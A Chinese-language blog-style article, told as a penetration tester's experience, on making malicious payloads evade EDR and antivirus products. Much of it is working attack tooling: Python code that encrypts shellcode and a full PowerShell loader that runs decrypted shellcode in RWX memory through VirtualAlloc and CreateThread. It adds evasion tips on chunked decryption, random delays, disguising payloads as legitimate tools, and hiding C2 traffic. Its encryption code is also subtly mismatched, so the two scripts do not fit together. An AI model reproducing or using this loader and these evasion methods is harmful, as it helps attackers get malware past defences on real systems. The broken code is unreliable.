一、一次失手的渗透测试经历

有一次,我接到任务,需要对一家金融机构的内网进行一次全面渗透测试。目标环境部署了业内主流的EDR(Endpoint Detection and Response)系统,防御策略面面俱到。传统的攻击手段基本被完全扼制,无论是Metasploit生成的Payload,还是Cobalt Strike的默认Beacon,都在落地时被EDR无情拦截,甚至连个Alert都没出,直接终止执行。

我当时感到十分头疼,攻击面几乎被封死。为了摆脱这种困境,我意识到必须认真研究如何对恶意载荷进行免杀和流量隐蔽,才能成功突破目标网络的防线。这篇文章,就基于那次经历,系统性分享恶意载荷免杀的技巧和攻防对抗的经验。

---

二、免杀的原理:从防御逻辑出发

要成功绕过EDR/AV的检测,首先得搞清它们的检测机制。一般来说,检测手段可以分为以下几类:

  1. 特征匹配
  2. 防御软件通过特征库比对,识别已知恶意代码的特征,比如某些硬编码的字符串、函数调用顺序等。

  1. 内存检测
  2. EDR会动态监测进程的内存行为,发现可疑的加载行为(比如Shellcode注入)或恶意的内存标志(如RWX段)。

  1. 行为分析
  2. 高级防御系统会基于行为分析,判断进程是否存在异常行为,比如网络连接的异常、权限提升、文件访问等。

  1. 流量监控
  2. 对C2通信流量进行深度分析,发现恶意Payload传输和命令控制行为。

绕过防御最核心的思路,就是针对这几类检测机制,逐一对抗。简单来说,就是:

  • 特征匹配:修改代码的特征,混淆、加壳、动态生成。
  • 内存检测:利用反射加载、加密解密、环境检查。
  • 行为分析:用合法行为伪装恶意操作,延迟触发。
  • 流量监控:流量加密、协议伪装、C2隐藏。

接下来,我会结合实际案例,逐步拆解这些技术的运用。

黑客示意图

---

黑客示意图

三、实际操作:如何构造免杀的恶意载荷?

在那次渗透测试中,我选择使用Python和PowerShell配合,构造了一种可以绕过EDR的载荷。以下是完整的操作过程。

步骤1:动态生成恶意Payload

为了避免EDR检测静态特征,我选用了一种动态生成Shellcode的方法。以下是一个简单的Python代码示例,用于加密和解密Shellcode。

<pre><code class="language-python">import base64 from cryptography.fernet import Fernet

首先生成一个用于加密的随机密钥

key = Fernet.generate_key() cipher = Fernet(key)

原始的Shellcode(可以通过msfvenom或者其他工具生成)

raw_shellcode = b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30&quot;

使用AES对Shellcode进行加密

encrypted_shellcode = cipher.encrypt(raw_shellcode)

输出加密后的结果和密钥

print(f&quot;Encrypted Shellcode: {base64.b64encode(encrypted_shellcode).decode()}&quot;) print(f&quot;Decryption Key: {key.decode()}&quot;)</code></pre>

思路解释

  1. Shellcode通过AES加密,使其在存储和传输时不易被检测到。
  2. 解密密钥单独保存,在目标机器上通过反射解密并执行。这样就规避了特征匹配问题。

---

步骤2:PowerShell加载并执行Payload

黑客示意图

在目标机器上,使用PowerShell来解密和执行加密的Payload。以下是PowerShell脚本代码:

<pre><code class="language-powershell"># 加密后的Shellcode和密钥(从Python输出中复制) $encrypted_shellcode = &quot;BASE64_ENCODED_ENCRYPTED_SHELLCODE&quot; $key = &quot;BASE64_ENCODED_KEY&quot;

转换为二进制并解密

$decoded_key = [Convert]::FromBase64String($key) $cipher = New-Object System.Security.Cryptography.RijndaelManaged $cipher.Key = $decoded_key $cipher.Mode = [System.Security.Cryptography.CipherMode]::CBC $cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$encrypted_bytes = [Convert]::FromBase64String($encrypted_shellcode) $memory_stream = New-Object System.IO.MemoryStream $crypto_stream = New-Object System.Security.Cryptography.CryptoStream($memory_stream, $cipher.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write) $crypto_stream.Write($encrypted_bytes, 0, $encrypted_bytes.Length) $crypto_stream.Close() $decrypted_shellcode = $memory_stream.ToArray()

在内存中加载并执行解密后的Shellcode

$unsafe_method = @&quot; using System; using System.Runtime.InteropServices;

public class UnsafeNativeMethods { [DllImport(&quot;kernel32&quot;)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(&quot;kernel32&quot;)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

黑客示意图

[DllImport(&quot;kernel32&quot;)] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); } &quot;@

Add-Type -TypeDefinition $unsafe_method -Language CSharp $buffer = [UnsafeNativeMethods]::VirtualAlloc([IntPtr]::Zero, $decrypted_shellcode.Length, 0x1000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($decrypted_shellcode, 0, $buffer, $decrypted_shellcode.Length) $thread = [UnsafeNativeMethods]::CreateThread([IntPtr]::Zero, 0, $buffer, [IntPtr]::Zero, 0, [IntPtr]::Zero) [UnsafeNativeMethods]::WaitForSingleObject($thread, 0xFFFFFFFF)</code></pre>

关键点

  1. 将加密后的Shellcode解密到内存中,避免在磁盘上留下痕迹。
  2. 使用VirtualAllocCreateThread等API动态分配和执行内存,绕过静态和行为检测。

---

四、对抗EDR:进一步优化免杀技术

上面的方法已经能绕过大多数基于特征匹配的EDR,但更聪明的EDR会利用行为分析来检测Payload。为了对抗这种情况,我在实战中还用到了以下技巧:

1. 内存分段解密

一次性解密整个Shellcode容易引起EDR的注意。我将解密过程分成多个小步骤,每次只解密一小段,并动态执行。这样可以降低内存活动的异常。

<pre><code class="language-python"># 分段解密与执行伪代码 for chunk in encrypted_shellcode_chunks: decrypted_chunk = decrypt(chunk) execute_in_memory(decrypted_chunk)</code></pre>

2. 延迟触发

防止EDR因时间序列分析标记载荷,我在Payload中引入了随机延迟。

<pre><code class="language-powershell"># 在PowerShell脚本中加入随机延迟 Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 30)</code></pre>

3. 合法行为伪装

将Payload伪装成合法程序的一部分,比如微软的系统工具或脚本执行器,避免触发EDR的行为检测规则。

---

五、攻防对抗中的经验与反思

那次渗透测试最终成功了,但我也深刻体会到,恶意载荷免杀技巧并非一劳永逸。防御技术在不断进步,攻击者需要持续学习和创新。以下是几条我总结的经验:

  1. 攻击链全程考虑对抗
  2. 不要等到Payload被拦截后才想着绕过,从信息收集到C2通信,每个环节都可能触发EDR的警报。

  1. 多维度测试免杀效果
  2. 不同的EDR系统使用不同的检测机制,一个Payload可能绕过A产品,但会被B产品抓到。

  1. 分布式C2和流量伪装
  2. 除了载荷本身,C2通信的隐藏也是关键。使用多跳代理、DNS隧道等技术提升隐蔽性。

---

合法声明:本文仅供授权的安全测试和研究使用,任何非法用途将自行承担法律责任。